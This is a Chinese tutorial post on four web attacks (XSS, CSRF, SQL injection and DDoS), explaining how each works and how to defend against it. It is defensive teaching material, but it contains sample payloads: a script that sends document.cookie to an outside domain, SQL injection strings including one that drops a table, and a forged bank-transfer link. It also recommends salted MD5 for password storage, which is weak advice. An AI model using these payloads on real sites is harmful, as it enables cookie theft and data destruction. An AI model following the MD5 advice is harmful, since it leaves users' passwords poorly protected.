1. 程式人生 > >總結幾種常見web攻擊手段及其防禦方式

總結幾種常見web攻擊手段及其防禦方式

  • XSS(跨站指令碼攻擊)

  • CSRF(跨站請求偽造)

  • SQL注入

  • DDOS

XSS

概念

  • 全稱是跨站指令碼攻擊(Cross Site Scripting),指攻擊者在網頁中嵌入惡意指令碼程式。

案列

  • 比如說我寫了一個部落格網站,然後攻擊者在上面釋出了一個文章,內容是這樣的 <script>window.open(“www.gongji.com?param=”+document.cookie)</script>,如果我沒有對他的內容進行處理,直接儲存到資料庫,那麼下一次當其他使用者訪問他的這篇文章的時候,伺服器從資料庫讀取後然後響應給客戶端,瀏覽器執行了這段指令碼,然後就把該使用者的cookie傳送到攻擊者的伺服器了。

被攻擊的原因

  • 使用者輸入的資料變成了程式碼,比如說上面的<script>,應該只是字串卻有了程式碼的作用。

預防

  • 將輸入的資料進行轉義處理,比如說講 < 轉義成&lt;

SQL注入

概念

  • 通過sql命令偽裝成正常的http請求引數,傳遞到伺服器端,伺服器執行sql命令造成對資料庫進行攻擊

案例

  • ' or '1'= '1。這是最常見的sql注入攻擊,當我們輸如使用者名稱 jiajun ,然後密碼輸如'or '1'= '1的時候,我們在查詢使用者名稱和密碼是否正確的時候,本來要執行的是select * from user where username='' and password=''

    ,經過引數拼接後,會執行sql語句 select * from user where username='jaijun' and password=' ' or ' 1'='1 ',這個時候1=1是成立,自然就跳過驗證了。

  • 但是如果再嚴重一點,密碼輸如的是';drop table user;--,那麼sql命令為select * from user where username='jiajun' and password='';drop table user;--' 這個時候我們就直接把這個表給刪除了

被攻擊的原因

  • sql語句偽造引數,然後在對引數進行拼接的後形成破壞性的sql語句,最後導致資料庫受到攻擊

預防

  • 在java中,我們可以使用預編譯語句(PreparedStatement),這樣的話即使我們使用sql語句偽造成引數,到了服務端的時候,這個偽造sql語句的引數也只是簡單的字元,並不能起到攻擊的作用。

  • 很多orm框架已經可以對引數進行轉義

  • 做最壞的打算,即使被’拖庫‘('脫褲,資料庫洩露')。資料庫中密碼不應明文儲存的,可以對密碼使用md5進行加密,為了加大破解成本,所以可以採用加鹽的(資料庫儲存使用者名稱,鹽(隨機字元長),md5後的密文)方式。

CSRF

概念

  • 全稱是跨站請求偽造(cross site request forgery),指通過偽裝成受信任使用者的進行訪問,通俗的講就是說我訪問了A網站,然後cookie存在了瀏覽器,然後我又訪問了一個流氓網站,不小心點了流氓網站一個連結(向A傳送請求),這個時候流氓網站利用了我的身份對A進行了訪問。

案列

  • 這個例子可能現實中不會存在,但是攻擊的方式是一樣的。比如說我登入了A銀行網站,然後我又訪問了室友給的一個流氓網站,然後點了裡面的一個連結 www.A.com/transfer?account=666&money=10000,那麼這個時候很可能我就向賬號為666的人轉了1w軟妹幣

被攻擊的原因

  • 使用者本地儲存cookie,攻擊者利用使用者的cookie進行認證,然後偽造使用者發出請求

預防

  • 之所以被攻擊是因為攻擊者利用了儲存在瀏覽器用於使用者認證的cookie,那麼如果我們不用cookie來驗證不就可以預防了。所以我們可以採用token(不儲存於瀏覽器)認證。

  • 通過referer識別,HTTP Referer是header的一部分,當瀏覽器向web伺服器傳送請求的時候,一般會帶上Referer,告訴伺服器我是從哪個頁面連結過來的,伺服器基此可以獲得一些資訊用於處理。那麼這樣的話,我們必須登入銀行A網站才能進行轉賬了。

DDOS

概念

  • 分散式拒絕服務攻擊(Distributed Denial of Service),簡單說就是傳送大量請求是使伺服器癱瘓。DDos攻擊是在DOS攻擊基礎上的,可以通俗理解,dos是單挑,而ddos是群毆,因為現代技術的發展,dos攻擊的殺傷力降低,所以出現了DDOS,攻擊者藉助公共網路,將大數量的計算機裝置聯合起來,向一個或多個目標進行攻擊。

案例

  • SYN Flood ,簡單說一下tcp三次握手,客戶端先伺服器發出請求,請求建立連線,然後伺服器返回一個報文,表明請求以被接受,然後客戶端也會返回一個報文,最後建立連線。那麼如果有這麼一種情況,攻擊者偽造ip地址,發出報文給伺服器請求連線,這個時候伺服器接受到了,根據tcp三次握手的規則,伺服器也要回應一個報文,可是這個ip是偽造的,報文迴應給誰呢,第二次握手出現錯誤,第三次自然也就不能順利進行了,這個時候伺服器收不到第三次握手時客戶端發出的報文,又再重複第二次握手的操作。如果攻擊者偽造了大量的ip地址併發出請求,這個時候伺服器將維護一個非常大的半連線等待列表,佔用了大量的資源,最後伺服器癱瘓。

  • CC攻擊,在應用層http協議上發起攻擊,模擬正常使用者傳送大量請求直到該網站拒絕服務為止。

被攻擊的原因

  • 伺服器頻寬不足,不能擋住攻擊者的攻擊流量

預防

  • 最直接的方法增加頻寬。但是攻擊者用各地的電腦進行攻擊,他的頻寬不會耗費很多錢,但對於伺服器來說,頻寬非常昂貴。

  • 雲服務提供商有自己的一套完整DDoS解決方案,並且能提供豐富的頻寬資源

總結

  • 上面一共提到了4中攻擊方式,分別是xss攻擊(關鍵是指令碼,利用惡意指令碼發起攻擊),CSRF攻擊(關鍵是藉助本地cookie進行認證,偽造傳送請求),SQL注入(關鍵是通過用sql語句偽造引數發出攻擊),DDOS攻擊(關鍵是通過手段發出大量請求,最後令伺服器崩潰)

  • 之所以攻擊者能成功攻擊,使用者操作是一個原因,伺服器端沒有做好防禦是一個問題,因為無法控制使用者的操作,所以需要我們伺服器端的開發做好防禦。

  • 沒有覺得絕對安全,只要更安全。